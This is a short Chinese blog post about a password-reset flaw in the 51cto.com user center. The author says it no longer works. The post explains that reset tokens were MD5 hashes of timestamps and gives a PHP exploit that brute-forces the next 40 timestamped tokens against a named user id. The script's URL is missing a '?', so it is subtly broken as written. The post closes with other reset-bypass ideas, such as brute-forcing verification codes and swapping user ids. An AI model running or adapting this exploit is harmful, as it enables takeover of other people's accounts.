这个任意密码修改已经发现一年多的时间了。 今天准备演示呢,结果拿出来测试的时候失效了。
为何可以任意密码修改,如下
http://ucenter.51cto.com/setpass.php?id=6330498&unid=0a35749ac3f8dc33c307e504448625fe
这个是修改密码的链接
存在漏洞时候的unid=0a35749ac3f8dc33c307e504448625fe这里的unid是时间戳之后md5加密的,只要我们知道用户的邮箱、就选择找回密码、猜解发送给用户的url、就可以修改密码了。
exp:
<?php
echo time().'<br>';
for($a=1;$a<=40;$a++){
//获取当前时间戳加一 并且使用md5加密
$b=md5(time()+$a);
//初始化curl
$ch = curl_init() ;
//设置url路径
$url="http://ucenter.51cto.com/setpass.phpid=6330498&unid=$b";
// 设置你需要抓取的URL
curl_setopt($ch,CURLOPT_URL,"$url");
// 返回结果,而不是输出它 1为返回结果 0为直接输出(不明白的请看http://0x007.blog.51cto.com/6330498/1226301 )
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
//发送curl请求
$result = curl_exec($ch);
//字符串匹配
if (stripos($result, '确认密码:')) {
echo "ok"."<a href=$url tar>您的修改密码连接为</a>";
}
curl_close($ch);
}
?>
一个逻辑漏洞而已, 任意密码修改的还有很多的例子、比如爆破验证码、比如找回密码的id可以替换他人的 、等等。